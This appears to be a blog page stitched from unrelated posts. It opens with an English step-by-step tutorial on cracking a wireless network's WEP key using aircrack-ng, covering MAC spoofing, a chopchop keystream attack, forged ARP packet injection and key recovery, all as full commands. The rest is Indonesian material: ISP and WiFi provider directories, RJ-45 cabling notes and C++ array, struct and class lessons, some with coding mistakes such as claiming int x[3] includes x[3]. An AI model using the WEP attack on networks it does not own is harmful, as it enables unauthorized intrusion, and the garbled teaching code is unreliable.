Tutorial: WEP Crack / No Clients / IPW2200 (Centrino)

I know there are already about a thousand tutorials but I couldn’t find anything complete or up-to-date (or english). Also, please bear in mind that this is my first tutorial.

Before we begin the attack, we need to update and get some information. First update aircrack-ng to the latest version (0.9.1 for me).

I saved to a USB flash:
mount /dev/sda1 /mnt/sda_removable
cp /mnt/sda_removable/aircrack-ng-0.9.1.tar.gz ~

Or configure a network adaptor and d/l it (change X’s):
wget hXXp://download.aircrack-ng.org/aircrack-ng-0.9.1.tar.gz

tar zxvf aircrack-ng-0.9.1.tar.gz
cd aircrack-ng
make
make install

We will also need to know the target’s name (ESSID),  MAC address, and the channel. Please note that my wireless device is “eth1” but yours may be different; use “iwconfig” to find out which adaptor is wireless. (If you downloaded aircrack-ng you may need to reset your network adaptor)
iwlist eth1 scan

Now we can get started. First we must enable rtap0 for listening. rtap0 is required (instead of just eth1) due to limitations in the ipw2200 driver.
rmmod ipw2200
modprobe ipw2200 rtap_iface=1

Next enable wireless and change MAC (changing MAC is optional).
ifconfig eth1 up hw ether 00:11:22:33:44:55

Configure wireless w/ essid, channel, and a fake key.
iwconfig eth1 essid <ESSID> channel <#> key s:fakekey mode managed

Now start collecting traffic on rtap0. “dump” is the name of the capture (.cap) file.
airodump-ng --bssid <AP MAC> -w dump rtap0

Now for the actual injection. Open a new terminal (<ctrl><alt><F2> if you are still in the console) and start the aireplay chopchop attack. Note the modifier “-i rtap0.” This tells aireplay to use rtap0 for listening and eth1 for injecting. Also “-4” is the type of attack (chopchop).
aireplay-ng -4 -a <AP MAC> -h 00:11:22:33:44:55 -i rtap0 eth1

A prompt will ask you to use “this” packet. Type “y” and the attack should continue. Once it finishes you will have a plaintext (.cap) file and a keystream(.xor) file. The keystream file will look something like “replay_dec-######.xor”

Make sure there are no errors reported after using aireplay. This is where I had the most difficulty. If the attack doesn’t start after selecting the packet, you might not be close enough to the AP or the AP is not vulnerable to the chopchop attack. I also received an error stating the checksum didn’t match. I just re-ran aireplay and it was fine.

Now we will create an arp-request packet using the aquired keysteam file. The “-l” and “-k” options are the source IP and destination IP. They can be any valid IP. The destination can be the gateway (router IP) but the attack run faster if it is an arbitrary IP.
packetforge-ng -0 -a <AP MAC> -h 00:11:22:33:44:55 -k 192.168.1.100 -l 192.168.1.101 -y replay_dec-####.xor -w arp-request

Finally we will send our newly created arp-request packet over and over. After this step you should see the “Data” begin to rise quickly back in the first terminal (airodump). If the data doesn’t change (usually between 80 and 350 per second) then something is wrong.
aireplay-ng -2 -r arp-request eth1

Let aireplay run for a few minutes while you collect data. After 75,000 or so you can run aircrack in a third terminal (<ctrl><alt><F3>). Within a few minutes you should have the key.
aircrack-ng -z dump*.cap

I hope this tutorial has proven helpful. Smiley

Test on my Dell inspiron 6000 (centrino) ram 1.2GB .

Iklan

isp di kota selain jakarta

ISP  Kota medan

NAMA PERUSAHAAN DOMAIN
Indointernet,P.T. www.medan.indo.net.id
Pasifik Satelit Nusantara,P.T. www.pesat.net.id
Indomaya Wira Sejahtera,P.T www.indomaya.net.id
Media Antar Nusa,P.T. www.nusa.net.id
Aplikanusa Lintasarta, P.T. www.idola.net.id
Centrin Online, Tbk, P.T www.centrin.net.id
Telekomunikasi Indonesia, P.T. www.telkom.net.id

ISP  Kota yogyakarta

NAMA PERUSAHAAN DOMAIN
Aplikanusa Lintasarta, P.T. www.idola.net.id
Centrin Online,Tbk,P.T. www.centrin.net.id
Global Prima Utama,P.T. www.uii.net.id
IndoInternet, P.T. www.yogya.indo.net.id
Indosat Mega Media, P.T. www.indosatm2.com
Broadband Network Asia, P.T. www.broadnetasia.com
Pasifik Satelit Nusantara,P.T. www.pesat.net.id
Pos Indonesia, P.T. www.wasantara.net.id
Saranainsan Mudaselaras,P.T. www.jmn.net.id
Satata Neka Tama, P.T. www.sat.net.id
Lintas Cakrawala, P.T. www.lc.net.id
Indomaya Wira Sejahtera,P.T www.indomaya.net.id
Jembatan Citra Nusantara,P.T. www.citra.net.id
Berca Hardayaperkasa, PT. www.jasatel.net.id

ISP  Kota semarang

NAMA PERUSAHAAN DOMAIN
IndoInternet, P.T. www.semarang.indo.net.id
Linknet, P.T www.link.net.id
Visionindo Network Perdana, P.T. www.vision.net.id
Pasifik Lintas Buana, P.T www.vip.net.id
Aplikanusa Lintasarta, P.T. www.idola.net.id
Telekomunikasi Indonesia, P.T. www.telkom.net.id
Multi Indosarva Sejati, PT www.sarva.net

ISP Kota surabaya

NAMA PERUSAHAAN DOMAIN
Linknet, P.T www.link.net.id
Rahajasa Media Internet, PT. www.sby.rad.net.id
Indointernet, P.T. www.surabaya.indo.net.id
Surya Mitra Internet, P.T www.mitra.net.id
Centrin Online, Tbk, P.T www.centrin.net.id
Pasifik Satelit Nusantara, P.T. www.pesat.net.id
Dyviacom Intrabumi, P.T. www.sby.dnet.net.id
Indonesia Comnet Plus, P.T. www.iconpln.net.id
Aplikanusa Lintasarta, P.T. www.idola.net.id
Pos Indonesia, P.T. www.wasantara.net.id
Telekomunikasi Indonesia, P.T. www.telkom.net.id
Berca Hardayaperkasa, PT. www.jasatel.net.id

ISP  Kota bali

NAMA PERUSAHAAN DOMAIN
Indonesia Comnet Plus,P.T. www.iconpln.net.id
Supra Primatama Nusantara, P.T. www.biz.net.id
Usaha Mediantara Intranet, P.T. www.spot.net.id
Centrin Online,Tbk,P.T. www.centrin.net.id
IndoInternet, P.T. www.denpasar.indo.net.id
Indosat Mega Media, P.T. www.indosatm2.com
Pasifik Satelit Nusantara,P.T. www.pesat.net.id
Pos Indonesia, P.T. www.wasantara.net.id
Internet Madju Abad Milenindo,P.T. www.globalxtreme.net.id
Rabik Bangun Pertiwi,P.T. www.blueline.co.id
Aplikanusa Lintasarta, P.T. www.idola.net.id
Telekomunikasi Indonesia, P.T. www.telkom.net.id
Pasifik Lintas Buana, P.T www.vip.net.id
Bali Media Winet, PT www.baliwi.net

ISP  Kota bandung

NAMA PERUSAHAAN DOMAIN
Rahajasa Media Internet, P.T. www.bdg.rad.net.id
Aplikanusa Lintasarta, P.T. www.idola.net.id
Centrin Utama,P.T. www.centrin.net.id
Berca Hardaya Perkasa,P.T. www.jasatel.net.id
Melvar Lintasnusa, P.T. www.melsa.net.id
Corbec Communication Company,P.T. www.corbec.net.id
Jala Widya Caraka,P.T. www.itb.net.id
Jasa Jejaring Wasantara,P.T. www.bdg.pacific.net.id
Pos Indonesia,P.T. www.wasantara.net.id
Putrabu Rajasa Galuh,P.T. www.pro.net.id
Quasar Jaringan Mandiri,P.T. www.quasar.net.id
Wijaya Lintas Komindo,P.T. www.eazy.net.id
Lintas Wastugrha,P.T. www.teras.net.id
IndoInternet, P.T. www.netura.net.id
Cyberindo Aditama, P.T. www.cbn.net.id
Telekomunikasi Indonesia, P.T. www.telkom.net.id

Daftar isp wilayah jakarta

ISP wilayah  Kota jakarta

NAMA PERUSAHAAN DOMAIN
Angkasa Komunikasi Global Utama, P.T. www.angkasa.net.id
Aplikanusa Lintasarta, P.T. www.idola.net.id
Artha Telekomindo, P.T. www.scbd.net.id
Arus Nawala, P.T. www.nawala.net.id
Berca Hardaya Perkasa, P.T. www.jasatel.net.id
Bitnet Komunikasindo, P.T. www.bit.net.id
Broadband Multimedia Tbk., P.T. www.kabelvision.com
Broadband Network Asia, P.T. www.broadnetasia.com
Circlecom Nusantara Indonesia, P.T. www.circleone.net.id
Citra Sari Makmur www.csm.net.id
Comtronics System, P.T. www.comnet.net.id
Corbec Communication Company, P.T. www.corbec.net.id
Cyberindo Aditama, P.T. www.cbn.net.id
Dwi Tunggal Putra, P.T. www.dtp.net.id
Dyviacom Intrabumi, P.T. www.dnet.net.id
Elgayasa Media, P.T. www.elga.net.id
Estiko Ramanda, P.T. www.estiko.net.id
Excelcomindo Pratama, P.T. www.xl.net.id
Fajar Informasi Globalnet Jaya, P.T. www.boleh.net.id
Gema Nusa Persada, P.T. www.commerce.net.id
Gerbang Data Lintas Benua, P.T. www.gerbang.net.id
Global Pratamasis Netsindo, P.T. www.gpn.net.id
Graha Sedaya Serasi, P.T. www.sig.net.id
Indo Pratama Cybernet, P.T. www.ipnet.net.id
IndoInternet, P.T. www.indo.net.id
Indonesia Comnet Plus, P.T. www.iconpln.net.id
Indonusa Telemedia, P.T. www.telkomvision.net.id
Indosat Mega Media, P.T. www.indosatm2.com
Infokom Elektrindo, P.T. www.melesat.net.id
Inova Duapuluh Duapuluh, P.T.
IPTEKNET – BPPT IPTEK.NET
Jaringan Intech Indonesia, P.T. CYBER-ISP.NET
Jasa Jejaring Wasantara, P.T. PACIFIC.LINK
Jasnita Telekomindo, P.T. JAS.NET
Jastrindo Dinamika, P.T. NEXCOM
Jetcoms Netindo, P.T. JETCOMS.NET
Jos Niyaga Multimedia, P.T. JOS.NET
Khasanah Timur Indonesia, P.T. PRIMA.NET
Linknet, P.T. LINK.NET
Medialintas Antar Buana, P.T. ASIA.NET
Meghantara Multimedia Nusantara, P.T. MEGHANTARA.NET
Melvar Lintas Nusa, P.T. MELSA.NET
Multidata Rancana Prima, P.T. GIGA.NET
NAP Info Lintas Nusa, P.T. NAP.NET
Napsindo Primatel Internasional, P.T. NAPSINDO.NET
NTT Indonesia, P.T. NTT.NET
Nusa Era Persada Jaya, P.T. COMMSAT.NET
Pasifik Satelit Nusantara, P.T. PESAT.NET
Patra Telekomunikasi Ind., P.T. www.patra.net.id
Pos Indonesia, P.T. www.wasantara.net.id
Prestasi Piranti Informasi, P.T. www.neuviz.net.id
Primedia Armoekadata Internet, P.T. www.prime.net.id
Quantum Aksessindo Nusantara, P.T. www.qita.net.id
Quasar Jaringan Mandiri, P.T. www.quasar.net.id
Rahajasa Media Internet, P.T. www.rad.net.id
Ramaduta Telkata, P.T. www.insprint.net.id
Reach Network Services Indonesia, P.T. www.reach.net.id
Satata Neka Tama, P.T. www.sat.net.id
Sejahtera Globalindo, P.T. www.infoasia.net.id
Sejuta Jaring Global, P.T. www.ks.net.id
Sinergitama Komindo, P.T. www.oke.net.id
Sistelindo Mitralintas, P.T. www.sistelindo.net.id
Solusi Info Struktur Nusantara, P.T. www.solusi.net.id
Speed Internet Digital, P.T. www.speed.net.id
Starcall Siskom, P.T. www.starcall.com
Supra Primatama Nusantara, P.T. www.biz.net.id
Telekomunikasi Indonesia, P.T. www.telkom.net.id
Telesindo Media Utama, P.T. www.kristaltelecom.com
Tigatra Komunikatama, P.T. www.triplegate.net.id
Total Info Kharisma, P.T. www.central.net.id
Trans Perdana Intimaju, P.T. www.trans.net.id
Transmedia Mitra Indonesia, P.T. www.access.net.id
Uninet Bhaktinusa, P.T. www.ub.net.id
Uninet Media Sakti, P.T. www.uninet.net.id
Usaha Mediantara Intranet, P.T. www.spot.net.id
Visionindo Network Perdana, P.T. www.vision.net.id
Yudhawira Khatulistiwa, P.T. www.choice.net.id
Mithaharum Abadi, P.T. www.ezy.net.id
Java Online, P.T. www.java.net.id
Pasifik Lintas Buana, P.T www.vip.net.id
Generasi Indonesia Digital, P.T. www.gen.net.id
Data Utama Dinamika, PT www.datautama.com
Trans Hybrid Communication, P.T. www.thcomm.com
Power Telecom, P.T. www.powertel.co.id
Hanasta Dakara, P.T.

Daftar ISP Wifi Indonesia

mungkin ada gunanya bagi yang butuh koneksi internet;

BANDUNG:
BandungWireless
Telp: (022) 70346581

Melsa Net
Jl. Ir H Juanda 43 A
Telp: (022) 420 9418

RW10.NET
Jl:fakfak 4
Antapani
Telp: (0812) 2333374

PT Simaya Jejaring Mandiri
Jl. H. Mesri No. 20
Telp: (022) 4260240, 4260412

Quasar
Jl. Palasari no 9A
Telp: (022)7333633

BALI:
Bali Medianet
Jl. Tukad Batanghari No. 88 Panjer
Denpasar
Telp: (0361)7421099, 7800299

Global Xtreme
Jl.Kerobokan no 388x
Kuta
Telp: (0361)736833, 736822

BATAM
MNet Wireless
Suite 501A, Graha Pena Bldg. Lt. 5
Jl. Raya Batam Center
Telp : (0778) 469-108, 0811 777245

JAKARTA:
PT. Cakramedia Indocyber
Apartemen Robinson Tower B Lt. 9 Suite 38
JL. Jembatan 2 Raya No. 2
Telp: (021) 66605377

CBN (Wireless corporate)
Manggala Wanabakti IV, 6th Floor
Jl. Gatot Subroto, Senayan
Telp customer care: (021)5799-4588
Kantor: (021) 5799-4500

Central Online
Menara Kebon Sirih 17th Fl
Jalan Kebon Sirih 17 – 19
Telp: (021) 23550170

D~Net (Wireless corporate)
Menara Batavia 6th Floor
Jl. K.H. Mas Mansyur Kav. 126
Telp : (021) 5727218
Marketing : (021) 5709555, (021) 5709333

Data Utama Net
Wisma Presisi lantai 2
Jl. Taman Aries Blok A1 No. 1
Telp: (021) 58902040, 5890 2060

E-Lini.Net
Perum Lippo Karawaci
Taman Ubud Lestari 1 No.7
Telp: (021) 59497936, (021) 92866976

E-Skylinx
Apartemen Robinson
Tower B lt. 6 / S18
Jl. Jembatan Dua Raya
Telp: (021) 30841738

EZNet
Cyber building, 5th floor
Jl. Kuningan Barat no. 8
Telp: (021) 520 9201
Sales: (021) 7028 0882, 93076797

Tanggerang branch office
Sutra Niaga 3 blok D2
Jalan Raya Serpong, Alam Sutera Tangerang 15310
Telp: (021) 531 24501

Depok branch office
Jl. Raya Margonda no.498B
Telp: (021) 788 82853

GradeNet
Cibubur
Telp: (021) 8731268, (021) 92907967

IPNet
Gedung Cyber Lt. 5
Jl. Kuningan Barat N0. 8
Telp: (021) 5275070, 5275072

JF3Net
Graha Simatupang Tower 1B
Jl. TB Simatupang
Telp: (021)93797233, (021)70002057, (021)93119331

JMTechnics Warnet & Game Center
Jl. Tanjung Duren Raya No. 98B
Telp: (021) 92896677

Mnet Wireless
Menara Batavia Lt.6
Jl. K.H. Mas Masnyur Kav.126
Telp: (021) 53156347, (0815) 1463 6281, 7040 5118

Multinet Provider
Telp: (021) 30673448

Nusa Net
Cyber Building, 7Th Floor
Jl. Kuningan Barat No.8
Telp: (021) 5276616

Branch office
Kompleks Kalideres Megah A47 (Simpang Swalayan Hari Hari)
Jl. Peta Selatan
Telp: (021) 54373777

JOGJA
Jogja Digital Network
Jl. Sosrowijayan GT I / 378
Telp : (0274) 7452416

Jogja MediaNet
Jl. Kesehatan Blok K-2 Sekip UGM
Telp : (0274) 544000

MetroNet
Jl. Kaliurang KM 7,5 No. 1B
Telp : (0274) 885327
Link [url]http://www.metronet-online.com[url]

Pes@tNet
Jl. Menteri Supeno No.66
Telp : (274) 7460091-92

PowerTel
Telp : (0274) 518640

KEBUMEN
Kebumen MediaNet
Jl. Cincin Kota Gg. Berlian 04 RT02/05
Karangsari
Telp : (0287) 5520455

LAMPUNG
CENDANA.net
Jl. Cendana No. 12 Rawalaut
Telp: (0721) 253608

Nusa Net
RA Villa Citra Ruko No.6
Bandar Lampung
Telp: (721) 240654

MAGELANG
Magelang MediaNet
Perum Tidar Indah RT/RW: 01/13
Telp: (0293) 311551

MALANG
Global Xtreme
Jl.Retawu no 8
Telp: (0341) 562000

RT/RW Net Perjuangan
Jl. Candi 167
Telp: (0341) 7710223

MATARAM
Cakrawala Multimedia
Jl.Erlangga no.3
Telp: (0370) 625888

MEDAN
Nusa Net
Wisma BII, 4th Floor Suite #411
Jl. P.Diponegoro 18
Telp: (061) 4158806

PANDAAN
D~Net
Ruko Candra Sukun A3
Jl. Dr.Sutomo Pandaan 67156
Telp: (0343) 633399

PEMATANG SIANTAR
Nusa Net
Jl. M.H.Thamrin 129
Telp: (0622) 431599

SEMARANG
Data Utama Net
Jl. Tri Lomba Juang No. 4
Telp: (024)8453481

PT. Sejahtera Globalindo (infoasia Groups)
Hotel Patra Semarang
Jl. Sisingamangaraja Candi Baru
Telp: (024) 8504133, (024) 70794448, (0852) 25451980

SOLO:
BumiNet
Kompleks Ruko Beteng Blok B8 Solo 57113
Telp: (0271)657627

SURABAYA:
ßeta.net
Perum Nirwana Eksekutif
Telp: (0888) 300 8270

DKent
Telp: (031) 8676736

D~Net
Promenade Arcade, Hyatt Regency Hotel
Jl. Basuki Rachmat 106 -128
Telp : (031) 548-0500

EXZONET Wireless Network
Jln. Perumahan Purimas, Gianyar III C5/14
Telp: (031) 70596437

MNet Wireless
Suite 1003, Graha Pena Building Lt. 10
Jl. A. Yani No. 88
Telp : (031) 829 6250, 0816 67 6770

GP Net
Graha Pena Building 11
Jl. Ahmad Yani Street no 88
Telp: (031) 8250077

Quasar
Jl. Raya Klampis Jaya 39D
Telp: (031)5914600

Susunan Kabel Pada Jaringan Komputer

1. EIA/TIA-568A & EIA/TIA-568B merupakan standar internasional pengkabelan dengan jack RJ-45 dan kabel UTP/STP kategori 3, 5, dan 6 (4 twisted pair) yang digunakan dalam teknologi ethernet dan PABX. Dua standar (A & B) digunakan untuk crossover cable. Ujung satu dengan standar A, dan ujung lainnya dengan standar B.

2. Urutan dengan standar EIA/TIA-568A (putih hijau, hijau, putih orange, biru, putih biru, orange, putih coklat, coklat) dan EIA/TIA-568B (putih orange, orange, putih hijau, biru, putih biru, hijau, putih coklat, coklat) biasa digunakan untuk interkoneksi antar hardware maupun antar jaringan. Penggunaan susunan yang lain diperbolehkan, namun harus memenuhi kriteria pada no. 3 dan seterusnya.

3. Pin 1 & 2, dalam ethernet digunakan sebagai Tx. Untuk menghindari interferensi, maka harus dijadikan 1 pair (biasanya putih orange – orange atau putih hijau – hijau) untuk memenuhi kebutuhan elektris dalam protokol high-speed-LAN.

4. Pin 3 & 6, dalam ethernet digunakan sebagai Rx. Untuk menghindari interferensi, maka harus dijadikan 1 pair (biasanya putih orange – orange atau putih hijau – hijau) untuk memenuhi kebutuhan elektris dalam protokol high-speed-LAN.

5. Pin 4 & 5 (dalam wikipedia disebut sebagai “the central two pins”) digunakan untuk membawa sinyal telepon (internet bukan hanya ethernet) atau sinyal suara dalam standar telekomunikasi. Bahkan RJ-11 bisa dimasukkan ke port RJ-45. Untuk keperluan ini, sudah seharusnya jadi 1 pair di tengah (biasanya biru – biru putih)

6. Pin 7 & 8, biasanya digunakan untuk teknologi Power over Ethernet (PoE), yaitu untuk meningkatkan power pada perangkat VOIP, wireless LAN access point, webcam, ethernet hub, komputer, dan perangkat lain yang tidak memungkinkan untuk memberikan suplai power secara terpisah.
Dalam hal ini tentunya pin 7 & 8 harus merupakan 1 pair (biasanya putih coklat – coklat).

Jadi kesimpulannya, susunan warna lain diperbolehkan, asal tiap pair tetap dibedakan penempatan berdasarkan fungsinya agar mendukung penggunaan hardware selain PC dalam jaringan.

Straight
1. Putih Orange —— 1. Putih Orange
2. Orange —— 2. Orange
3. Putih Hijau —— 3. Putih Hijau
4. Biru —— 4. Biru
5. Putih Biru —— 5. Putih Biru
6. Hijau —— 6. Hijau
7. Putih Coklat —— 7. Putih Coklat
8. Coklat —— 8. Coklat

Cross
1. Putih Orange —— 3. Putih Hijau
2. Orange —— 6. Hijau
3. Putih Hijau —— 1. Putih Orange
4. Biru —— 4. Biru
5. Putih Biru —— 5. Putih Biru
6. Hijau —— 2. Orange
7. Putih Coklat —— 7. Putih Coklat
8. Coklat —— 8. Coklat

cross2

straight1

Array dan Structure

Array dan Structure
1. Array
Array merupakan sekumpulan data yang mempunyai nama dan tipe yang
sama, Array disebut juga variabel berindeks. Nilai suatu data dalam Array ditentukan
oleh nama dan indeksnya. Array banyak digunakan pada operasi yang melibatkan
indeks seperti pada statistik
Tipe data Array dapat berupa Array satu dimensi (1D), dua dimensi (2D),
tiga dimensi (3D) atau banyak dimensi. Cara pendeklarasiannya dalam bahasa C++,
yaitu :
•   Array satu dimensi :
Tipe_Array nama_Array[ukuran]
Contoh : double Array_1[10]
•    Array dua dimensi :
Tipe_Array nama_Array[ukuran1][ukuran2]
Contoh : int Array_2[10][10]
•    Array tiga dimensi :
Tipe_Array nama_Array[ukuran1][ukuran2][ukuran3]
Contoh : float Array_3[10][10][10]

Array dalam bahasa C++ tidak dimulai dari indeks satu, tetapi dimulai dari
indeks 0 (nol). Misalnya dideklarasikan suatu Array satu dimensi : int x[3] berarti
Array yang terjadi adalah : x[0], x[1], x[2], x[3].

Memberi Nilai Pada Array
Untuk memberi nilai pada Array dapat dilakukan dengan mengakses indeksnya, misal
:
Array_1[0] = 10.0;
Array_1[1] = 20.0;

Selain   itu,   memberi   nilai   pada   Array   juga   dapat   dilakukan   dnegan   menggunakan
struktur perulangan for yang mana jumlah perulangan yang trjadi disesuaikan dengan
ukuran Array. Misal :
for (int i=0;i<10;i++)
{
x[i] = i;
}

Membaca Nilai Dari Array
Nilai Array dapat langsung ditampilkan misalnya :
cout<<Array_1[0]<<endl;
cout<<Array_1[0]<<endl;
Atau dapat juga dengan bantuan strukur for, misalnya :
for (int i=0;i<10;i++)
{
cout<<x[i];
}

Selain bertipe numerik, Array dapat juga bertipe char. Array char dapat dianggap
sebagai sebuah string. Contoh :
char nama[15] = “STT DUTA BANGSA”;
char alamat[ ] = “JL. Industri cikarang,cikarang”;
Untuk memberi nilai pada suatu string, tidak diperbolehkan menggunakan operator
penugasan (=). Untuk memberi nilai string dapat menggunakan tiga cara yaitu dengan
inisialisasi, diambil dari papan ketik atau menggunakan fungsi strcpy().

Contoh penerapan array sebagai berikut :
1. Guided 1
//program guided 1
#include “iostream.h”
#include “conio.h”
void main()
{
int data[5];
//input data ke array
for (int k=0;k<5;k++)
{
cout<<“masukkan data[“<<k<<“] = “;
cin>>data[k];
}
//tampil data array
for (int j=0;j<5;j++)
{
cout<<“data[“<<j<<“] = “<<data[j]<<endl;
}
getch();
2. Guided 2
//program guided 2
#include “iostream.h”
#include “conio.h”

void main()
{
int data[5];
int rata, total = 0;
//input data ke array
for (int k=0;k<5;k++)
{
cout<<“masukkan data[“<<k<<“] = “;
cin>>data[k];
}
//menghitung total nilai pada array
for (int j=0;j<5;j++)
{
total = total + data[j];
}
//menghitung rata – rata
rata = total / 5;
cout<<“rata – rata data pada array = “<<rata<<endl;
getch();
}

3. Guided 3
//program guided 3
#include “iostream.h”
#include “conio.h”

void main()
{
int data[3][3];
int rata, total = 0;
//input data ke array
for (int k=0;k<3;k++)
{
for (int j=0;j<3;j++)
{
cout<<“masukkan data[“<<k<<“][“<<j<<“] = “;
cin>>data[k][j];
}
}
//menghitung total nilai pada array
for (int m=0;m<3;m++)
{
for (int n=0;n<3;n++)
{
cout<<data[m][n]<<” “;
total = total + data[m][n];
}
cout<<“”<<endl;
}
//menghitung rata – rata
rata = total / 3;
cout<<“rata – rata data pada array = “<<rata<<endl;
getch();
}

4. Guided 4
//program guided 4
#include “iostream.h”
#include “conio.h”

void main()
{
char nama[] = “STT DUTA BANGSA”;
int nomor;
char alamat[15], alamat_lain[15];
cout<<“masukkan data tentang : “<<endl;
cout<<“masukkan nomor : “;
cin>>nomor;
cout<<“masukkan alamat : “;
cin>>alamat;
//cara memberi nilai pada string
strcpy(alamat_lain, alamat);
cout<<“Data yang dimasukkan :”<<endl;
cout<<“nama : “<<nama<<endl;
cout<<“nomor : “<<nomor<<endl;
cout<<“alamat : “<<alamat<<endl;
cout<<“alamat lain : “<<alamat_lain<<endl;
getch();
}

2. Structure

Dalam C++, tipe data struktur yang dideklarasikan dengan kata kunci struct, dapat
mempunyai komponen dengan sembarang tipe data, baik tipe data dasar maupun tipe
data turunan, termasuk fungsi. Dengan kemampuan ini, tipe data struktur menjadi
sangat   berdaya   guna.   Misalnya,   kita   ingin   membentuk   tipe   data   struktur   yang
namanya kotak. Maka dapat dideklarasikan sebagai berikut:

struct tkotak

{
double panjang;
double lebar;
};

tkotak kotak;

Untuk   memberi   nilai   ukuran   kotak   tersebut,   kita   dapat   menggunakan   perintah-
perintah ini:

kotak.panjang = 10;
kotak.lebar = 7;

Untuk memberi nilai panjang dan lebar kotak, salah satu caranya adalah seperti di
atas. Cara lain untuk memberi nilai panjang dan lebar adalah dengan membentuk
suatu fungsi. Karena fungsi ini hanya digunakan untuk memberi nilai data panjang
dan lebar suatu kotak, tentunya fungsi ini khusus milik objek kotak, sehingga harus
dianggap sebagai anggota struktur kotak. C++ sebagai bahasa pemrograman dapat
mendefinisikan anggota tipe struktur yang berupa fungsi. Dengan menambah fungsi
tersebut, maka struktur kotak menjadi lebih jelas bentuknya.

struct tkotak
{
double panjang;
double lebar;
void SetUkuran(double pj, double lb)
{
panjang = pj;
lebar = lb;
};
};
tkotak kotak;
dengan tipe struktur kotak seperti itu, untuk memberi nilai panjang dan lebar hanya
dengan memanggil fungsi SetUkuran()

kotak.SetUkuran(10,7);

Selain punya ukuran panjang dan lebar, kotak juga mempunyai  keliling dan luas.
Dengan demikian, kita dapat memasukkan fungsi untuk menghitung keliling dan luas
ke dalam struktur kotak. Sebagai catatan, bahwa definisi fungsi yang menjadi anggota
struktur dapat ditempatkan di luar tubuh struktur.  Dengan cara ini maka deklarasi
struktur kotak menjadi seperti berikut:

struct tkotak
{
double panjang;
double lebar;
void SetUkuran(double pj, double lb);
double Keliling();
double Luas();
};
tkotak kotak;

Contoh penerapan struktur kotak dapat dilihat dalam program berikut:

#include<iostream.h>
#include<conio.h>
struct tkotak

{
double panjang;
double lebar;
void SetUkuran(double pj, double lb);
double Keliling();
double Luas();
};

void main()
{
tkotak kotak;
kotak.SetUkuran(10,7);
cout<<“Panjang : “<<kotak.panjang<<endl;
cout<<“Lebar : “<<kotak.lebar<<endl;
cout<<“Keliling : “<<kotak.Keliling()<<endl;
cout<<“Luas : “<<kotak.Luas()<<endl;
getch();
void tkotak::SetUkuran(double pj, double lb)
{
panjang = pj;
lebar = lb;
}

double tkotak::Keliling()
{
return 2*(panjang+lebar);
}

double tkotak::Luas()
{
return panjang*lebar;
}

Tampilan Output:
Panjang : 10
Lebar : 7
Keliling : 34
Luas : 70

Basic Class C++

Class C++ Dasar

Harimurti Widyasena

harmur@mailcity.com

Pemrograman C++ memerlukan pemahaman yang memadai untuk menterjemahkan
desain ke dalam bentuk implementasi, terutama untuk desain yang menggunakan
abstraksi class. Fokus pembahasan pada aspek pembentukan obyek (construction)
sebuah class, dan proses sebaliknya pada saat obyek tersebut sudah tidak digunakan lagi
(destruction).

Deklarasi dan Definisi

Deklarasi dan definisi adalah langkah awal dalam setiap penulisan program tidak
terkecuali dalam bahasa C++. Deklarasi dan definisi diperlukan untuk semua tipe data
termasuk tipe data bentukan user (user-defined type).

Bentuk sederhana deklarasi class adalah sebagai berikut,

class C { }; atau

struct C { };

dalam bahasa C++ struct dan class mempunyai pengertian yang sama. Deklarasi
class dengan struct mempunyai anggota dengan akses public kecuali jika dinyatakan
lain.

struct C

{

int i;

void f();

}

class C

{

public:

int i;

void f();

}

Text Box: Lisensi Dokumen:
Copyright c 2004 IlmuKomputer.Com
Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara bebas untuk tujuan bukan komersial (nonprofit), dengan syarat tidak menghapus atau merubah atribut penulis dan pernyataan copyright yang disertakan dalam setiap dokumen. Tidak diperbolehkan melakukan penulisan ulang, kecuali mendapatkan ijin terlebih dahulu dari IlmuKomputer.Com.